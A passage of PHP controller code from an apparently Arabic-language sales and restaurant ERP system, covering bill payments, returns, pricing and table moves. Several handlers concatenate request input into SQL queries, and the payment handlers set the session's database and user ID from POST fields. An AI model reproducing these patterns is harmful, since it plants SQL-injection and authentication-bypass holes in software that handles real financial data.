        $colorId = $productIdComplex[2];
    }


    $availableSerials = $myProductserialEx->getProductAvailableParcodes($productId, $sizeId, $colorId, $storeId);

    $row_array = array();
    $return_arr = array();


    if (count($availableSerials) > 0) {
        $i = 1;
        foreach ($availableSerials as $data) {
            $row_array['id'] = $data->productserailid;
            $row_array['text'] = $data->serialnumber;
            $row_array['don'] = $data->don;
            $row_array['enddate'] = $data->enddate;
            array_push($return_arr, $row_array);

            $i++;
        }
    }


    //echo $return_arr;
    echo json_encode($return_arr);
} elseif ($do == "getlastbill") {
    $clintid = $_POST['id'];
    $kind = $_POST['kind'];
    $getlastbill = $mySellbillEx->getlastbill($clintid);
    if ($getlastbill->sellbillid > 0) {
        $getlastrestaurantorder = $restaurantOrderEX->getlastrestaurantorder($getlastbill->sellbillid);
        $getlastrestaurantorderdetails = $restaurantOrderDetailsEX->getlastrestaurantorderdetails((int) $getlastrestaurantorder->id);


        $output = '<h5> ' . $getlastrestaurantorder->sysdate . '</h5>
   <table class="table table-bordered">
  <thead>
    <tr>
      <th scope="col">الاسم</th>
      <th scope="col">الكميه</th>';
        if ($kind != 1) {
            $output .= ' <th scope="col">السعر</th>
      <th scope="col">الاجمالى</th>';
        }
        $output .= '</tr>
  </thead>
  <tbody>';
        foreach ($getlastrestaurantorderdetails as $data) {
            $output .= '<tr>
      <td>' . $data->productName . '</td>
      <td>' . $data->quantity . '</td>';
            if ($kind != 1) {
                $output .= '<td>' . $data->price . '</td>
      <td>' . $data->quantity * $data->price . '</td>';
            }
            $output .= '</tr>';
            $total += $data->quantity * $data->price;
        }

        $output .= '</tbody>
</table>
 <h5>الاجمالى  : ' . $total . '</h5>';
    }

    echo $output;
} elseif ($do == "getBillsNumbers") {
    $row_array = array();
    $return_arr = array();

    $billno = $_GET['term']; //It could be product name or category name
    $limit = intval($_GET['page_limit']);

    $bills = $mySellbillEx->getBillsNumbersList($billno);
    foreach ($bills as $bill) {
        $row_array['id'] = $bill->sellbillid;
        $row_array['text'] = $bill->sellbillid;
        array_push($return_arr, $row_array);
    }

    //print_r($clients);
    echo json_encode($return_arr);
} elseif ($do == "getBillsNumbersret") {
    $row_array = array();
    $return_arr = array();

    $billno = $_GET['term']; //It could be product name or category name
    $limit = intval($_GET['page_limit']);

    $bills = $myReturnsellbillEx->getBillsNumbersList($billno);
    foreach ($bills as $bill) {
        $row_array['id'] = $bill->returnsellbillid;
        $row_array['text'] = $bill->returnsellbillid;
        array_push($return_arr, $row_array);
    }

    //print_r($clients);
    echo json_encode($return_arr);
} elseif ($do == "getBankAccount") {
    $row_array = array();
    $return_arr = array();

    $name = $_GET['term']; //It could be product name or category name
    $limit = intval($_GET['page_limit']);

    $queryString = '';
    if (!empty($name)) {
        $queryString .= ' and (bank.bankname like "%' . $name . '%" or bankaccount.accountname like "%' . $name . '%" ) ';
    }
    $bankAccounts = $myBankaccountEx->queryWithConditons($queryString);
    foreach ($bankAccounts as $row) {
        $row_array['id'] = $row->accountid;
        $row_array['text'] = $row->bankname . '/' . $row->accountname;
        array_push($return_arr, $row_array);
    }

    //print_r($clients);
    echo json_encode($return_arr);
} elseif ($do == "makeSellBillPayment") {
    $id_pay = $_POST['id_pay'];
    $erpDB = $_POST['erpDB'];
    if (isset($erpDB) && !empty($erpDB)) {
        $_SESSION['dbname'] = $erpDB;

        if (isset($_POST['userId_Add']) && $_POST['userId_Add'] > 0)
            $_SESSION['userid'] = (int) $_POST['userId_Add'];
        elseif (isset($_POST['userId']) && $_POST['userId'] > 0)
            $_SESSION['userid'] = (int) $_POST['userId'];
        else
            $_SESSION['userid'] = 1;

        $id_pay = json_decode($id_pay);
        //this step to change items of array from stdclass to keyvalue pair
        $id_pay = json_decode(json_encode($id_pay), true);
    }

    $client_bills = array();
    $visitId_clientdebtchangeid_arr = array();
    foreach ($id_pay as $val) {
        $bill_no = $val["bill_id"];
        $pay = $val["payed"];
        $paytype = $val["paytype"];

        if (isset($val['saveId_Add']) && $val['saveId_Add'] > 0 && isset($_POST['userId_Add']) && $_POST['userId_Add'] > 0) { //for royal
            $saveid = $val["saveId_Add"];
            $paytype_txt = $val["paytype_txt_Add"];
        } elseif (isset($val['saveId']) && $val['saveId'] > 0 && isset($_POST['userId']) && $_POST['userId'] > 0) { //for royal too
            $saveid = $val["saveId"];
            $paytype_txt = $val["paytype_txt"];
        } else { //for erp
            $saveid = $val["saveId"];
            $paytype_txt = $val["paytype_txt"];
        }

        $bankAccountId = $val["bankAccountId"];
        $rowComment = $val["note"];
        $payVisitId = $val["payVisitId"]; //for royal " obygy "
        //

        if ($val['getFreshVames'] == 1) {
            $paytype_txt = "";
            if ($paytype == "save") {
                $name = R::getCell('select savename from save where saveid=' . $saveid);
                $paytype_txt = 'خزنة - ' . $name;
            } elseif ($paytype == "bank") {
                $name = R::getCell('SELECT CONCAT(accountname,"/", bank.bankname)
			 FROM bankaccount JOIN bank
			 ON bankaccount.bankid = bank.bankid
			 where  accountid = ' . $bankAccountId);
                $paytype_txt = 'بنك - ' . $name;
            }
        }

        $return_data = makeSellBillPayment($bill_no, $paytype_txt, $pay, $paytype, $saveid, $bankAccountId, $rowComment);
        $clientdebtchangeid = $return_data[1];
        //echo $clientdebtchangeid;
        //# for select data and print it .
        if (isset($erpDB) && !empty($erpDB)) {
            //it is Objy Service we dont show that data
            $rowArr = array();
            $rowArr['payVisitId'] = $payVisitId;
            $rowArr['paytype'] = $paytype;
            $rowArr['clientdebtchangeid'] = $clientdebtchangeid;
            $rowArr['bill_no'] = $bill_no;
            $visitId_clientdebtchangeid_arr[$paytype . "-" . $bill_no] = $rowArr;
            //array_push($visitId_clientdebtchangeid_arr, $rowArr);
        } else {
            $where = ' where sellbill.sellbillid = ' . $bill_no . ' ';

            $clientBills = $sellBillEX->queryallWithOrder($where); //$queryString
            foreach ($clientBills as $cli_bill_val) {

                $bill_id = (int) $cli_bill_val->sellbilli;
                $client_dept_change = $clientDeptChangeExt->sumByBillIdAndControl($bill_id, 'clientPayedDeptSellBillsController.php');
                $client_dept_change_2 = $clientDeptChangeExt->lastByBillIdAndControl($bill_no, 'clientPayedDeptSellBillsController.php');

                $waitvalue = $cli_bill_val->sellbillfinalbill - $client_dept_change->clientdebtchangeamount; //# قيمة الدين
                //if( $waitvalue > 0 ){
                $client_bills[] = array(
                    'id' => $cli_bill_val->sellbillid,
                    'billno' => $cli_bill_val->sellbillid,
                    'finalnetbillvalue' => $cli_bill_val->sellbillaftertotalbill,
                    'waitvalue' => $cli_bill_val->sellbillfinalbill - $client_dept_change->clientdebtchangeamount + $client_dept_change_2->clientdebtchangeamount,
                    'total_payed' => $cli_bill_val->sellbilltotalpayed + $client_dept_change->clientdebtchangeamount - $client_dept_change_2->clientdebtchangeamount,
                    'paytype' => $client_dept_change_2->paytype,
                    'payed_val' => $client_dept_change_2->clientdebtchangeamount,
                    'date' => $client_dept_change_2->clientdebtchangedate,
                );
                //}
            }



            //# update bill .
            //        $bill = $billsDAO->queryByBillno($bill_no);
            //        $bill[0]->cashvalue = $bill[0]->cashvalue + $pay;
            //        $bill[0]->waitvalue =  $bill[0]->waitvalue - $pay;
            //
            //        $billsDAO->update($bill[0]);
        }
    }

    if (isset($_POST['curlpost']) && $_POST['curlpost'] == 1) {
        $data = array('status' => 1, 'message' => 'تمت العمليه بنجاح', 'message_en' => 'Success');
        echo json_encode($data);
    } else if (isset($erpDB) && !empty($erpDB)) {
        //it is Objy Service we dont show that data
        //echo 1;
        echo json_encode($visitId_clientdebtchangeid_arr);
    } else {
        $smarty->assign("client", $client);
        $smarty->assign("client_bills", $client_bills);

        $smarty->display("clientPayedDeptSellBillsView/print_client_dept.html"); //the template page
    }
} elseif ($do == "makeReturnSellBillPayment") {
    $id_pay = $_POST['id_pay'];
    $erpDB = $_POST['erpDB'];
    if (isset($erpDB) && !empty($erpDB)) {
        $_SESSION['dbname'] = $erpDB;
        $_SESSION['userid'] = (isset($_POST['userId']) && $_POST['userId'] > 0) ? (int) $_POST['userId'] : 1;
        $id_pay = json_decode($id_pay);
        //this step to change items of array from stdclass to keyvalue pair
        $id_pay = json_decode(json_encode($id_pay), true);
    }

    $client_bills = array();

    foreach ($id_pay as $val) {
        $bill_no = $val["bill_id"];
        $pay = $val["payed"];
        $paytype_txt = $val["paytype_txt"];
        $paytype = $val["paytype"];
        $saveid = $val["saveId"];
        $bankAccountId = $val["bankAccountId"];
        $rowComment = $val["note"];

        //
        $return_data = makeReturnSellBillPayment($bill_no, $paytype_txt, $pay, $paytype, $saveid, $bankAccountId, $rowComment);
        $clientdebtchangeid = $return_data[1];
        //echo $clientdebtchangeid;
        //# for select data and print it .
        if (isset($erpDB) && !empty($erpDB)) {
            //it is Objy Service we dont show that data
        } else {
            $where = ' and returnsellbill.returnsellbillid = ' . $bill_no . ' ';

            $clientBills = $myReturnsellbillEx->queryWithOrder($where);
            foreach ($clientBills as $cli_bill_val) {

                $bill_id = (int) $cli_bill_val->returnsellbillid;
                $client_dept_change = $clientDeptChangeExt->sumByBillIdAndControl($bill_id, 'clientPayedDeptReturnSellBillsController.php');
                $client_dept_change_2 = $clientDeptChangeExt->lastByBillIdAndControl($bill_no, 'clientPayedDeptReturnSellBillsController.php');

                $waitvalue = $cli_bill_val->sellbillfinalbill - $client_dept_change->clientdebtchangeamount; //# قيمة الدين
                //if( $waitvalue > 0 ){
                $client_bills[] = array(
                    'id' => $cli_bill_val->returnsellbillid,
                    'billno' => $cli_bill_val->returnsellbillid,
                    'finalnetbillvalue' => $cli_bill_val->returnsellbillaftertotalbill,
                    'waitvalue' => $cli_bill_val->returnsellbillfinalbill + $client_dept_change->clientdebtchangeamount - $client_dept_change_2->clientdebtchangeamount,
                    'total_payed' => $cli_bill_val->returnsellbilltotalpayed + $client_dept_change->clientdebtchangeamount - $client_dept_change_2->clientdebtchangeamount,
                    'paytype' => $client_dept_change_2->paytype,
                    'payed_val' => $client_dept_change_2->clientdebtchangeamount,
                    'date' => $client_dept_change_2->clientdebtchangedate,
                );
                //}
            }



            //# update bill .
            //        $bill = $billsDAO->queryByBillno($bill_no);
            //        $bill[0]->cashvalue = $bill[0]->cashvalue + $pay;
            //        $bill[0]->waitvalue =  $bill[0]->waitvalue - $pay;
            //
            //        $billsDAO->update($bill[0]);
        }
    }

    if (isset($erpDB) && !empty($erpDB)) {
        //it is Objy Service we dont show that data
        echo 1;
    } else {
        $smarty->assign("client", $client);
        $smarty->assign("client_bills", $client_bills);

        $smarty->display("clientPayedDeptSellBillsView/print_client_dept.html"); //the template page
    }
} elseif ($do == "delMakeSellBillPayment") {
    delMakeSellBillPayment();
} elseif ($do == "delmakeReturnSellBillPayment") {
    delmakeReturnSellBillPayment();
}
////////////////////////////return sell bill//////////////////////////////
elseif ($do == "getreturnpriceByOnlyProduct" && isset($productId) && $productId != "-1" && isset($productUnit) && $productUnit != "-1" && isset($priceType) && $priceType != "-1") {


    // here the function that do the action
    //$productData = getProoductPriceByonlyProductId($productId);
    $productData = getProoductPriceByProductunit($productId, $productUnit);

    //تجزئة
    if ($priceType == 1) {
        $price = $productData->productSellUnitPrice;
    }
    //جملة
    elseif ($priceType == 0) {
        $price = $productData->productSellAllPrice;
    }
    //نصف جملة
    elseif ($priceType == 2) {
        $price = $productData->productSellHalfPrice;
    }



    if ($productData->selldiscount > 0 && $productData->discounttype == 0) {

        $productPrice = $price - $productData->selldiscount;
    } elseif ($productData->selldiscount > 0 && $productData->discounttype == 1) {

        $productPrice = $price - ((($productData->selldiscount) / 100) * ($price));
    } else {
        $productPrice = $price;
    }


    //    $productnumberData = $myProductunitRecord->load($productUnit);
    //    $productnumber = $productnumberData->productnumber;
    //    $productPrice = $productPrice * $productnumber;
    ##default values of $pricehtml and $discounthtml are zero
    $pricehtml = '<input type = "text" name = "returnproprice' . $itr . '" id = "returnproprice' . $itr . '" class = "form-control getreurnprototal txt-nonraduis returnenteraction numberinput positivefloat" tabindex = "' . $tabindex . '" value = "' . $productPrice . '" />
                    <input name = "returnquantity' . $itr . '" id = "quantity' . $itr . '" type = "hidden" value = "" size = "7" readonly />
                    <input name = "returnproductpricetype' . $itr . '" id = "returnproductpricetype' . $itr . '" type = "hidden" value = "0" size = "7" readonly />';
    $discounthtml = '<input type="hidden" id="retLastClientDisVal' . $itr . '" value="0"/>
                     <input type="hidden" id="retLastClientDisPer' . $itr . '" value="0"/>';

    if (isset($clientId) && $clientId != "" && $clientId != "-2" && $clientId != "1" && ($Programsettingdata->showPrevPricesRet == 0 || $Programsettingdata->showPrevDiscountRet == 1)) {
        $returnsellbilldetailData = getProductPriceFromSellBill($productId, $clientId, $productUnit);

        // if has selldata and setting want to use last price data
        if (count($returnsellbilldetailData[0]) > 0 && $Programsettingdata->showPrevPricesRet == 0) {
            $pricehtml = '<input type = "text" name = "returnproprice' . $itr . '" id = "returnproprice' . $itr . '" class = "form-control getreurnprototal txt-nonraduis returnenteraction numberinput positivefloat" tabindex = "' . $tabindex . '" value = "' . $returnsellbilldetailData[1] . '" />

                    <input name = "quantity' . $itr . '" id = "quantity' . $itr . '" type = "hidden" value = "" size = "7" readonly />
                    <input name = "returnproductpricetype' . $itr . '" id = "returnproductpricetype' . $itr . '" type = "hidden" value = "1" size = "7" readonly />';
        }
        // if has selldata and setting want to use last discount data
        if (count($returnsellbilldetailData[0]) > 0 && $Programsettingdata->showPrevDiscountRet == 1) {
            $discounthtml = '<input type="hidden" id="retLastClientDisVal' . $itr . '" value="' . $returnsellbilldetailData[0]->discountvalue . '"/>
                             <input type="hidden" id="retLastClientDisPer' . $itr . '" value="' . $returnsellbilldetailData[0]->discounttype . '"/>';
        }
    }
    echo $pricehtml . $discounthtml;
} elseif ($do == "getreturnunit" && isset($productId) && $productId != "-1") {
    $productunitData = loadReturnProductUnit($productId, $parcode);

    $smarty->assign("tabindex", $tabindex);
    $smarty->assign("itr", $itr);
} elseif ($do == "getreturnparcode" && isset($productId) && $productId != "-1") {
} elseif ($do == "addClient") {
    addClient();

    $clientData = loadClient();
    $smarty->assign("clientData", $clientData);

    $smarty->display("sellbillview/client.html");
} elseif ($do == "getProducts") {
    $productsData = loadProductWithByName();
    $smarty->assign("productsData", $productsData);
} elseif ($do == "getProducts2") {
    $productsData = loadProductWithByName2();
    $smarty->assign("productsData", $productsData);
} elseif ($do == "loadProductWithByParcode") {
    $productsData = loadProductWithByParcode();
    $smarty->assign("productsData", $productsData);
} elseif ($do == "loadProductWithByName2deleted") {
    $productsData = loadProductWithByName2deleted();
    $smarty->assign("productsData", $productsData);
} elseif ($do == "getProductsexpenses") {
    getProductsexpenses();
} elseif ($do == "getFinalProducts") {
    $productsData = getFinalProducts();
    $smarty->assign("productsData", $productsData);
} elseif ($do == "GetRawMaterials") {
    $productsData = GetRawMaterials();
    $smarty->assign("productsData", $productsData);
} elseif ($do == "getFinalProductsWithProductionRate") {
    $productsData = getFinalProductsWithProductionRate();
    $smarty->assign("productsData", $productsData);
} elseif ($do == "getFinalProductsWithOutProductionRate") {
    $productsData = getFinalProductsWithOutProductionRate();
    $smarty->assign("productsData", $productsData);
} elseif ($do == "getProductsbyandstor") {
    $storeid = $_GET["storeid"];
    $productsData = getProductsbyandstor($storeid);
    $smarty->assign("productsData", $productsData);
} elseif ($do == "getProductsbyandstornoservice") {
    $storeid = $_GET["storeid"];
    $productsData = getProductsbyandstorNoService($storeid);
    $smarty->assign("productsData", $productsData);
} elseif ($do == "getProductsbyandstornoservice2") {
    $storeid = $_GET["storeid"];
    $procat = $_GET["procat"];
    $productsData = getProductsbyandstorNoService2($storeid, $procat);
    $smarty->assign("productsData", $productsData);
} elseif ($do == "addNewproduct") {
    $billnameId = $_GET['billnameid'];

    $newproductItr = $_GET['newproductItr'];
    $smarty->assign("itr", $newproductItr);

    $newproductTabIndex = $_GET['newproductTabIndex'];
    $smarty->assign("newproductTabIndex", $newproductTabIndex);

    $flag = addNewproduct();
    if ($flag[0] == 1) {
        $billsettingsData = loadBillProperty($billnameId);
        $smarty->assign("billsettingsData", $billsettingsData);

        $newProductData = $myProductRecord->load($flag[1]);
        $smarty->assign("newProductData", $newProductData);

        $productunitData = loadProductUnitDefault($flag[1]);
        $smarty->assign("productunitData", $productunitData);

        $userdata = $userDAO->load($_SESSION['userid']);
        $smarty->assign("userdata", $userdata);

        $storeData = $myStoreRecord->queryByConditions(0);
        $smarty->assign("storeData", $storeData);

        $Programsettingdata = $programSettingDAO->load(1);
        $smarty->assign("Programsettingdata", $Programsettingdata);

        $smarty->display("sellbillview/newproduct.html");
    } else {
        echo $flag[0];
    }
} elseif ($do == "getproductNamebyOnlyId" && isset($productId) && $productId != "") {
    loadProductById($productId);
}
##
elseif ($do == "checkserial") {
    $value = $_POST['bsn'];
    $oldid = $_POST['oldid'];
    //$row = $mySellbillRecord->queryBySellbillserial($value);
    $row = $mySellbillEx->isSerialUnique($value, $oldid);
    if (!empty($row)) {
        echo -1;
    } else {
        echo 1;
    }
}
##
elseif ($do == "getpriceall" && isset($productId) && $productId != "-1" && isset($productUnit) && $productUnit != "-1" && isset($priceType) && $priceType != "-1" && $itr >= 0) {
    // here the function that do the action
    $sizeId = 0;
    $colorId = 0;
    $sizeColorStoreDetailId = 0;
    if (strpos($productId, "hasSizeColor") !== false) {
        $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
        $productId = $productIdComplex[0];
        $sizeId = $productIdComplex[1];
        $colorId = $productIdComplex[2];
        //$sizeColorStoreDetailId = $sizeColorStoreDetailEX->getIdByProductStoreSizeAndColorEX($productId, $sellbillstoreId, $sizeId, $colorId);
    }
    $productData = $myProductRecord->load($productId);
    $catData = $productCatDAO->load($productData->productCatId);
    //change productprices to unit prices
    $productunitData = $myProductunitRecord->load($productUnit);
    //has to check for $Programsettingdata->measuringunit == 0 as it should be shown "first for client to see his prices" "second if no measuringunit no need as unit prices might be wrong or not set"
    if (isset($productUnit) && !empty($productUnit) && $Programsettingdata->measuringunit == 0 && $Programsettingdata->showPrevPrices == 0) {
        $productData->productSellUnitPrice = $productunitData->proUnitSellUnitPrice;
        $productData->productSellAllPrice = $productunitData->proUnitSellAllPrice;
        $productData->productSellHalfPrice = $productunitData->proUnitSellHalfPrice;
        $productData->price4 = $productunitData->proUnitPrice4;
        $productData->price5 = $productunitData->proUnitPrice5;
        $productData->price6 = $productunitData->proUnitPrice6;
        $productData->price7 = $productunitData->proUnitPrice7;
        $productData->price8 = $productunitData->proUnitPrice8;
    }

    $listDiscountPer = 0;
    //تجزئة
    if ($priceType == 1) {
        $price = $productData->productSellUnitPrice;
        if ($Programsettingdata->useListPrice == 1)
            $listDiscountPer = $catData->buypart;
    }
    //جملة
    elseif ($priceType == 0) {
        $price = $productData->productSellAllPrice;
        if ($Programsettingdata->useListPrice == 1)
            $listDiscountPer = $catData->buytotal;
    }
    //نصف جملة
    elseif ($priceType == 2) {
        $price = $productData->productSellHalfPrice;
        if ($Programsettingdata->useListPrice == 1)
            $listDiscountPer = $catData->buyhalf;
    } elseif ($priceType == 4) {
        $price = $productData->price4;
        if ($Programsettingdata->useListPrice == 1)
            $listDiscountPer = $catData->price4;
    } elseif ($priceType == 5) {
        $price = $productData->price5;
        if ($Programsettingdata->useListPrice == 1)
            $listDiscountPer = $catData->price5;
    } elseif ($priceType == 6) {
        $price = $productData->price6;
        if ($Programsettingdata->useListPrice == 1)
            $listDiscountPer = $catData->price6;
    } elseif ($priceType == 7) {
        $price = $productData->price7;
        if ($Programsettingdata->useListPrice == 1)
            $listDiscountPer = $catData->price7;
    } elseif ($priceType == 8) {
        $price = $productData->price8;
        if ($Programsettingdata->useListPrice == 1)
            $listDiscountPer = $catData->price8;
    }
    //get category discounts
    //$catData = $productCatDAO->load($productData->productCatId);
    if ($catData->selldiscount > 0 && $catData->discounttype == 0) {
        $price = $price - $catData->selldiscount;
    } elseif ($catData->selldiscount > 0 && $catData->discounttype == 1) {
        $price = $price - ((($catData->selldiscount) / 100) * ($price));
    } else {
        $price = $price;
    }

    //    $productnumberData = $myProductunitRecord->load($productUnit);
    //    $productnumber = $productnumberData->productnumber;
    //    $productPrice = $price * $productnumber;
    $productPrice = $price;

    ##
    if ($Programsettingdata->useListPrice == 1) {
        $productPrice = $productPrice + (($productPrice * $listDiscountPer) / 100);
        $productPriceUnit = $productPriceUnit + (($productPriceUnit * $listDiscountPer) / 100);
    }

    echo $productPrice . "/" . $itr;
}
##
elseif ($do == "checkNegative") {
    $unsufficeint_quantity_arr = array();
    $product_store_arr = filter_input(INPUT_POST, "product_store_arr");

    $product_store_arr = json_decode($product_store_arr, true);
    //just echo an item in the array
    // echo "key_1 : " . $data["key_1"];
    foreach ($product_store_arr as $key => $value) {
        $key = explode("_", $key);
        //prepare data
        $store_id = $key[0];
        $product_id = $key[1];
        $productIdRecieved = $product_id;
        $sizeId = 0;
        $colorId = 0;
        if (strpos($product_id, "hasSizeColor") !== false) {
            $productIdComplex = explode('-', str_replace("hasSizeColor", "", $product_id));
            $product_id = $productIdComplex[0];
            $sizeId = $productIdComplex[1];
            $colorId = $productIdComplex[2];
        }
        $units_quantity_arr = $value;
        $product_data = $myProductRecord->load($product_id);
        $cat_data = $productCatDAO->load($product_data->productCatId);
        if ($product_data->isService == 0 && $cat_data->stopNegativeSale == 1) {
            //convert all units quantity in terms of main unit
            $required_quantity = 0;
            foreach ($units_quantity_arr as $unit_id => $quantity) {
                $productunitData = $myProductunitEx->queryWithProductIdAndUnitId($product_id, $unit_id);
                $productnumber = $productunitData->productnumber;
                $required_quantity += $quantity * $productunitData->productnumber;
            }
            //now get product quantity in store
            /**/
            if ($sizeId > 0 && $colorId > 0) {
                $sizeColorStoreDetail = $sizeColorStoreDetailEX->getIdByProductStoreSizeAndColorEX2($product_id, $store_id, $sizeId, $colorId);
                if (!isset($sizeColorStoreDetail->quantity) || empty($sizeColorStoreDetail->quantity) || $required_quantity > $sizeColorStoreDetail->quantity) {
                    //store quantity will be negative
                    $data = $store_id . "," . $productIdRecieved;
                    array_push($unsufficeint_quantity_arr, $data);
                }
            } else {
                $product_store_details = $myStoredetailEx->getProductQuantity($product_id, $store_id);
                if (!isset($product_store_details->productquantity) || empty($product_store_details->productquantity) || $required_quantity > $product_store_details->productquantity) {
                    //store quantity will be negative
                    $data = $store_id . "," . $product_id;
                    array_push($unsufficeint_quantity_arr, $data);
                }
            }
        }
    }
    //
    if (count($unsufficeint_quantity_arr) > 0) {
        echo json_encode($unsufficeint_quantity_arr);
    } else {
        echo 1; //all quantities are enough
    }
} elseif ($do == "checkNegative2") {
    $products_info_quantity_arr = array();
    $product_store_arr = filter_input(INPUT_POST, "product_store_arr");

    $product_store_arr = json_decode($product_store_arr, true);
    //just echo an item in the array
    // echo "key_1 : " . $data["key_1"];
    foreach ($product_store_arr as $key => $value) {
        $key = explode("_", $key);
        //prepare data
        $store_id = $key[0];
        $product_id = $key[1];
        $productIdRecieved = $product_id;
        $sizeId = 0;
        $colorId = 0;
        if (strpos($product_id, "hasSizeColor") !== false) {
            $productIdComplex = explode('-', str_replace("hasSizeColor", "", $product_id));
            $product_id = $productIdComplex[0];
            $sizeId = $productIdComplex[1];
            $colorId = $productIdComplex[2];
        }
        $units_quantity_arr = $value;
        $product_data = $myProductRecord->load($product_id);
        $cat_data = $productCatDAO->load($product_data->productCatId);
        $catSetting = $cat_data->stopNegativeSale;
        $quantityIsSuffecient = 1;
        if ($product_data->isService == 0) {
            //convert all units quantity in terms of main unit
            $required_quantity = 0;
            foreach ($units_quantity_arr as $unit_id => $quantity) {
                $productunitData = $myProductunitEx->queryWithProductIdAndUnitId($product_id, $unit_id);
                $productnumber = $productunitData->productnumber;
                $required_quantity += $quantity * $productunitData->productnumber;
            }
            //now get product quantity in store
            /**/
            if ($sizeId > 0 && $colorId > 0) {
                $sizeColorStoreDetail = $sizeColorStoreDetailEX->getIdByProductStoreSizeAndColorEX2($product_id, $store_id, $sizeId, $colorId);
                if (!isset($sizeColorStoreDetail->quantity) || empty($sizeColorStoreDetail->quantity) || $required_quantity > $sizeColorStoreDetail->quantity) {
                    //store quantity will be negative
                    $quantityIsSuffecient = 0;
                }
                $data = $store_id . "," . $productIdRecieved . "," . $catSetting . "," . $quantityIsSuffecient;
                array_push($products_info_quantity_arr, $data);
            } else {
                $product_store_details = $myStoredetailEx->getProductQuantity($product_id, $store_id);
                if (!isset($product_store_details->productquantity) || empty($product_store_details->productquantity) || $required_quantity > $product_store_details->productquantity) {
                    //store quantity will be negative
                    $quantityIsSuffecient = 0;
                }
                $data = $store_id . "," . $product_id . "," . $catSetting . "," . $quantityIsSuffecient;
                array_push($products_info_quantity_arr, $data);
            }
        }
    }
    //
    echo json_encode($products_info_quantity_arr);
}
##
elseif ($do == "openTable") {
    $tableId = (int) $_POST["tableId"];
    $smarty->assign("tableIdCheckService", $tableId);

    $restaurantTableEX->updateBeingUsed(1, $tableId);
    $tableData = $restaurantTableDAO->load($tableId);
    //conditions are in html
    //show tables that not del and (user is allowed to see table   or   usergroup can see all tables )
    $Usergroupdata = $UsergroupDAO->load($_SESSION['usergroupid']);
    $smarty->assign("Usergroupdata", $Usergroupdata);
    if ($Usergroupdata->takeAway == 1 && $Usergroupdata->delivery == 1 && $Usergroupdata->hall == 1) {
        $queryString = '';
    } else if ($Usergroupdata->takeAway == 0 && $Usergroupdata->delivery == 0 && $Usergroupdata->hall == 0) {
        $queryString = ' and restauranttable.id = -1000 ';
    } else {
        $queryString = ' and ( ';
        if ($Usergroupdata->hall == 1) {
            $queryString .= ' restauranttable.id > 0 ';
        }
        if ($Usergroupdata->takeAway == 1) {
            if ($Usergroupdata->hall == 1) {
                $queryString .= ' or ';
            }
            $queryString .= ' restauranttable.id = -1  ';
        }
        if ($Usergroupdata->delivery == 1) {
            if ($Usergroupdata->hall == 1 || $Usergroupdata->takeAway == 1) {
                $queryString .= ' or ';
            }
            $queryString .= ' restauranttable.id = -2 ';
        }
        $queryString .= ' ) ';
    }

    $restaurantTables = $restaurantTableEX->queryAllEX($queryString);
    foreach ($restaurantTables as $value) {
        $value->hallUsers = explode(',', $value->hallUsers);
    }
    $Usergroupdata = $UsergroupDAO->load($_SESSION['usergroupid']);
    $data = array($restaurantTables, $Usergroupdata, $tableData->name);
    echo json_encode($data);
} elseif ($do == "moveTable") {
    $oldTable = (int) $_POST["oldTable"]; //table to close
    $tableId = (int) $_POST["tableId"]; //table to add products to
    $smarty->assign("tableIdCheckService", $tableId);

    //Transaction
    $mytransactions = new Transaction();
    try {

        //
        $resTable = $restaurantTableDAO->load($tableId);
        $hallData = $restaurantHallDAO->load($resTable->hallid);
        //1- move products from old order to new order
        $oldOrder = $restaurantOrderEX->queryByTableIdNotFinishedEX($oldTable);
        $oldOrderId = 0;
        $newOrderId = 0;
        if (count($oldOrder) > 0) {
            $oldOrder = $oldOrder[0];
            $oldOrderId = $oldOrder->id;
            //## if there was old order get its data and transfere it to other table
            $oldorderDetails = $restaurantOrderDetailsDAO->queryByOrderId($oldOrderId);
            foreach ($oldorderDetails as $value) {
                //
                $productId = $value->productId;
                $quantity = $value->quantity;
                $productData = $productDAO->load($productId);
                //##this is the new order
                $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
                $orderId = 0;
                if (count($order) > 0) {
                    $order = $order[0];
                    $orderId = $newOrderId = $order->id;
                    //thersis order not finished
                    $orderDetails = $restaurantOrderDetailsEX->queryByOrderIdAndProduct($order->id, $productId);
                    if (count($orderDetails) > 0) {
                        //product already exist increase quantity
                        $orderDetails = $orderDetails[0];
                        $orderDetails->quantity += $quantity;
                        switch ($hallData->hallPrice) {
                            case 0:
                                $orderDetails->price = $productData->productSellAllPrice;
                                break;
                            case 1:
                                $orderDetails->price = $productData->productSellUnitPrice;
                                break;
                            case 2:
                                $orderDetails->price = $productData->productSellHalfPrice;
                                break;
                        }

                        $orderDetails->total = $orderDetails->price * $orderDetails->quantity;
                        $orderDetails->notes = getNotesSum($orderDetails->notes, $value->notes);
                        $orderDetails->notesPrinted = getNotesSum($orderDetails->notesPrinted, $value->notesPrinted);
                        //
                        $isprinted = 0;
                        if ($value->isPrinted == 1 || $orderDetails->isPrinted == 1) {
                            $isprinted = 1;
                        }
                        $orderDetails->isPrinted = $isprinted;
                        $orderDetails->printedQuantity += $value->printedQuantity;
                        $restaurantOrderDetailsDAO->update($orderDetails);
                    } else {
                        //add product to order
                        $restaurantOrderDetails->orderId = $order->id;
                        $restaurantOrderDetails->productId = $productId;
                        $restaurantOrderDetails->quantity = $quantity;
                        switch ($hallData->hallPrice) {
                            case 0:
                                $restaurantOrderDetails->price = $productData->productSellAllPrice;
                                break;
                            case 1:
                                $restaurantOrderDetails->price = $productData->productSellUnitPrice;
                                break;
                            case 2:
                                $restaurantOrderDetails->price = $productData->productSellHalfPrice;
                                break;
                        }

                        $restaurantOrderDetails->total = $restaurantOrderDetails->price * $restaurantOrderDetails->quantity;
                        $restaurantOrderDetails->notes = getNotesSum($restaurantOrderDetails->notes, $value->notes);
                        $restaurantOrderDetails->notesPrinted = getNotesSum($restaurantOrderDetails->notesPrinted, $value->notesPrinted);

                        $restaurantOrderDetails->isPrinted = $value->isPrinted;
                        $restaurantOrderDetails->printedQuantity = $value->printedQuantity;
                        $restaurantOrderDetailsDAO->insert($restaurantOrderDetails);
                    }
                } else {
                    //make new order
                    $restaurantOrder->hallUserId = $_SESSION['userid'];
                    $restaurantOrder->tableId = $tableId;
                    $restaurantOrder->totalBill = 0;
                    $restaurantOrder->discount = 0;
                    $restaurantOrder->tax = 0;
                    $restaurantOrder->netBill = 0;
                    $restaurantOrder->finished = 0;
                    $restaurantOrder->sellBillId = 0;
                    $restaurantOrder->daySreial = 0;
                    $restaurantOrder->userId = $_SESSION['userid'];
